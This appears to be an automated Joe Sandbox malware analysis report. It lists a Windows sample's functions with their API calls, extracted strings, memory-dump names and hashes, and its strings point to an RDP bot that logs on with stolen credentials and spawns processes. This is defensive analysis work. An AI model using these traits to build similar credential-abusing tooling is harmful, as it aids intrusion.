Function 00007FF7E3CE475D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: d400ccc41f07d85efbaf118e831595e6118f2ccae4f921d648a8b05ec38435d3
Instruction ID: b80da7a41bb85d097d010027fd1655213dfad704491142b105cbfff2e20cc45d
Opcode Fuzzy Hash: d400ccc41f07d85efbaf118e831595e6118f2ccae4f921d648a8b05ec38435d3
Instruction Fuzzy Hash: 8BF0B413B88A0311F9D2BA06B4407B99A412F80761E8906338D0C6A7E0DD3CD893A222

Function 00007FF7E3CE4B8B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 419855de458aef800a4480a83e71539b6b86dfe63857b706560499ad0ef83724
Instruction ID: 45adf723fb2f6e9def4858b1c37ec7ccf175b07f6c024412adc27bb0777b92b2
Opcode Fuzzy Hash: 419855de458aef800a4480a83e71539b6b86dfe63857b706560499ad0ef83724
Instruction Fuzzy Hash: 06F0B413B8890311F5D3BA06B4507B99A411F80761E8D06338D0C6B7E0DD3CD893A222

Function 00007FF7E3CE4785 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: cf8c6abc46baf002a4b94b128b505ab6eae422338a24bf55f2c9fb19bdd33895
Instruction ID: 510a1ee0f68f346dfe16cd05c9a8c47cff8248a8c1f24bf114f176afef6cee2c
Opcode Fuzzy Hash: cf8c6abc46baf002a4b94b128b505ab6eae422338a24bf55f2c9fb19bdd33895
Instruction Fuzzy Hash: 88F0B413B88A0311F9D2BA06B4407B99A411F80761E8906338D0C6A7E0DD3CD893A222

Function 00007FF7E3CE477B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: ed571756588594b7e354bc46fc8b0e358fa8a783f3935751d38bca4c76fa4898
Instruction ID: 0203711ab5d3a2dff0a6725b8d3f146e9ae1c6e50c2f9408fba441e924679871
Opcode Fuzzy Hash: ed571756588594b7e354bc46fc8b0e358fa8a783f3935751d38bca4c76fa4898
Instruction Fuzzy Hash: DEF0B413B88A0351F9D2BA06B4407B99A411F80761E890633CD0C6A7E0DE3CE893A222

Function 00007FF7E3CE4B1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: c622d2d5a7b4549b084282044c813153a244fbb32cbc357716c84ccd8b5b41e2
Instruction ID: f0b49fc1df725154ccc6213589d4684f84f734f137c4ae72fafd42019c1e5fa7
Opcode Fuzzy Hash: c622d2d5a7b4549b084282044c813153a244fbb32cbc357716c84ccd8b5b41e2
Instruction Fuzzy Hash: 74F0B413B88A0311F9D3BA06B4507B99A411F80761E8906338D0C6A7E0DD3CD893A222

Function 00007FF7E3CE4B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: c622d2d5a7b4549b084282044c813153a244fbb32cbc357716c84ccd8b5b41e2
Instruction ID: f0b49fc1df725154ccc6213589d4684f84f734f137c4ae72fafd42019c1e5fa7
Opcode Fuzzy Hash: c622d2d5a7b4549b084282044c813153a244fbb32cbc357716c84ccd8b5b41e2
Instruction Fuzzy Hash: 74F0B413B88A0311F9D3BA06B4507B99A411F80761E8906338D0C6A7E0DD3CD893A222

Function 00007FF7E3CE4B0E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: c622d2d5a7b4549b084282044c813153a244fbb32cbc357716c84ccd8b5b41e2
Instruction ID: f0b49fc1df725154ccc6213589d4684f84f734f137c4ae72fafd42019c1e5fa7
Opcode Fuzzy Hash: c622d2d5a7b4549b084282044c813153a244fbb32cbc357716c84ccd8b5b41e2
Instruction Fuzzy Hash: 74F0B413B88A0311F9D3BA06B4507B99A411F80761E8906338D0C6A7E0DD3CD893A222

Function 00007FF7E3CE49A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: cf8c6abc46baf002a4b94b128b505ab6eae422338a24bf55f2c9fb19bdd33895
Instruction ID: 510a1ee0f68f346dfe16cd05c9a8c47cff8248a8c1f24bf114f176afef6cee2c
Opcode Fuzzy Hash: cf8c6abc46baf002a4b94b128b505ab6eae422338a24bf55f2c9fb19bdd33895
Instruction Fuzzy Hash: 88F0B413B88A0311F9D2BA06B4407B99A411F80761E8906338D0C6A7E0DD3CD893A222

Function 00007FF7E3CE499C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: ed571756588594b7e354bc46fc8b0e358fa8a783f3935751d38bca4c76fa4898
Instruction ID: 0203711ab5d3a2dff0a6725b8d3f146e9ae1c6e50c2f9408fba441e924679871
Opcode Fuzzy Hash: ed571756588594b7e354bc46fc8b0e358fa8a783f3935751d38bca4c76fa4898
Instruction Fuzzy Hash: DEF0B413B88A0351F9D2BA06B4407B99A411F80761E890633CD0C6A7E0DE3CE893A222

Function 00007FF7E3CE4992 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: f4a81eb148b4fd358aa1d1a0855e8f9eee4966889b0d0a29dc5ee9e6c4fc2afa
Instruction ID: 4274a45109ab0f2ed210680a8b7a95ada9642b17b0f07136d70c750a90bc0784
Opcode Fuzzy Hash: f4a81eb148b4fd358aa1d1a0855e8f9eee4966889b0d0a29dc5ee9e6c4fc2afa
Instruction Fuzzy Hash: A3F0B413B88A0311F9D2BA06B4407B99A411F80761E8906338D1C6B7E1DD3CD893A222

Function 00007FF7E3CE4988 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 1644c6a3bca8c6556b5bd2b4bce9513eb849d7e55eeff9f3b8f38a9682788697
Instruction ID: a0d46e0bb737ed5338424a1ca7d825dd37f1137a7f3b0ad90a50d8b28a0472b6
Opcode Fuzzy Hash: 1644c6a3bca8c6556b5bd2b4bce9513eb849d7e55eeff9f3b8f38a9682788697
Instruction Fuzzy Hash: 2DF0B413B88A0311F9D2BA06B4507B99A411F80761E8907338D0C6A7E1ED3CD893A222

Function 00007FF7E3CE497E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: d400ccc41f07d85efbaf118e831595e6118f2ccae4f921d648a8b05ec38435d3
Instruction ID: b80da7a41bb85d097d010027fd1655213dfad704491142b105cbfff2e20cc45d
Opcode Fuzzy Hash: d400ccc41f07d85efbaf118e831595e6118f2ccae4f921d648a8b05ec38435d3
Instruction Fuzzy Hash: 8BF0B413B88A0311F9D2BA06B4407B99A412F80761E8906338D0C6A7E0DD3CD893A222

Non-executed Functions

Function 00007FF7E3CE292E Relevance: 56.4, APIs: 17, Strings: 15, Instructions: 435stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7E3CE29C0
strcat.MSVCRT ref: 00007FF7E3CE2AFA
strlen.MSVCRT ref: 00007FF7E3CE2B10
strlen.MSVCRT ref: 00007FF7E3CE2B1B
strlen.MSVCRT ref: 00007FF7E3CE2B4F
strcat.MSVCRT ref: 00007FF7E3CE2B5F
strlen.MSVCRT ref: 00007FF7E3CE2B9D
strlen.MSVCRT ref: 00007FF7E3CE2BAA
strlen.MSVCRT ref: 00007FF7E3CE2BD3
strcat.MSVCRT ref: 00007FF7E3CE2BE5
LogonUserA.ADVAPI32 ref: 00007FF7E3CE2C55
GetLastError.KERNEL32 ref: 00007FF7E3CE2C63
CloseHandle.KERNEL32 ref: 00007FF7E3CE2F27

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE2A70, 00007FF7E3CE2AA4, 00007FF7E3CE2AD8
process_create, xrefs: 00007FF7E3CE2A29, 00007FF7E3CE2A69, 00007FF7E3CE2A9D, 00007FF7E3CE2AD1, 00007FF7E3CE2C83, 00007FF7E3CE2E1C, 00007FF7E3CE2F09, 00007FF7E3CE2F78, 00007FF7E3CE30AC, 00007FF7E3CE319E
(app != NULL), xrefs: 00007FF7E3CE2A96
(usr == NULL) || (pwd != NULL), xrefs: 00007FF7E3CE2ACA
[E] (%s) -> Failed(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,err=%08x), xrefs: 00007FF7E3CE2A30
[I] (%s) -> CreateProcessAsUserA done(usr=%s,pwd=%s,cmd=%s,pid=%lu), xrefs: 00007FF7E3CE2F10
[E] (%s) -> CreateProcessA failed(cmd=%s,gle=%lu), xrefs: 00007FF7E3CE30B3
h, xrefs: 00007FF7E3CE30F6
[E] (%s) -> LogonUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu), xrefs: 00007FF7E3CE2C8A
NULL, xrefs: 00007FF7E3CE31B6, 00007FF7E3CE31C2, 00007FF7E3CE31CE, 00007FF7E3CE31DA, 00007FF7E3CE31E6, 00007FF7E3CE31F2, 00007FF7E3CE31FE, 00007FF7E3CE320A, 00007FF7E3CE3216
[E] (%s) -> CreateProcessAsUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu), xrefs: 00007FF7E3CE2E23
(pi != NULL), xrefs: 00007FF7E3CE2A62
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF7E3CE2A5B, 00007FF7E3CE2A8F, 00007FF7E3CE2AC3
[I] (%s) -> Done(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,pid=%lu), xrefs: 00007FF7E3CE2F7F
[I] (%s) -> CreateProcessA done(cmd=%s,pid=%lu), xrefs: 00007FF7E3CE31A5

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: strlen$strcat$CloseErrorHandleLastLogonUser
String ID: (app != NULL)$(pi != NULL)$(usr == NULL) || (pwd != NULL)$C:/Projects/rdp/bot/codebase/process.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateProcessA failed(cmd=%s,gle=%lu)$[E] (%s) -> CreateProcessAsUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu)$[E] (%s) -> Failed(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,err=%08x)$[E] (%s) -> LogonUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu)$[I] (%s) -> CreateProcessA done(cmd=%s,pid=%lu)$[I] (%s) -> CreateProcessAsUserA done(usr=%s,pwd=%s,cmd=%s,pid=%lu)$[I] (%s) -> Done(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,pid=%lu)$h$process_create
API String ID: 1842180197-3127737957
Opcode ID: 94ee048e8bd45c9939ad3021e88a51864f09f1642a4dc8886498fadcceeff011
Instruction ID: 175e3d62bce902a9df2aa8c67dfc0a4c131184d9dbe2330f9559af3799f9f182
Opcode Fuzzy Hash: 94ee048e8bd45c9939ad3021e88a51864f09f1642a4dc8886498fadcceeff011
Instruction Fuzzy Hash: 1E1270A198C64281F6B0BB02E8503B9EB90BB44784FD40237D94EA76F5DF7CE545A323

Function 00007FF7E3CE3DB3 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32 ref: 00007FF7E3CE3DF9
strcpy.MSVCRT ref: 00007FF7E3CE3E14
FindFirstFileA.KERNEL32 ref: 00007FF7E3CE3EE7
GetLastError.KERNEL32 ref: 00007FF7E3CE3F03
GetLastError.KERNEL32 ref: 00007FF7E3CE3F32
FindClose.KERNEL32 ref: 00007FF7E3CE3F50

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

Strings

(resume_handle != NULL), xrefs: 00007FF7E3CE3EB9
[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu), xrefs: 00007FF7E3CE3F24
(name != NULL), xrefs: 00007FF7E3CE3E81
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE3E57, 00007FF7E3CE3E8F, 00007FF7E3CE3EC7
[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu), xrefs: 00007FF7E3CE3F68
fs_dir_list, xrefs: 00007FF7E3CE3E50, 00007FF7E3CE3E88, 00007FF7E3CE3EC0, 00007FF7E3CE3F1D, 00007FF7E3CE3F61
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE3E42, 00007FF7E3CE3E7A, 00007FF7E3CE3EB2
(path != NULL), xrefs: 00007FF7E3CE3E49

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
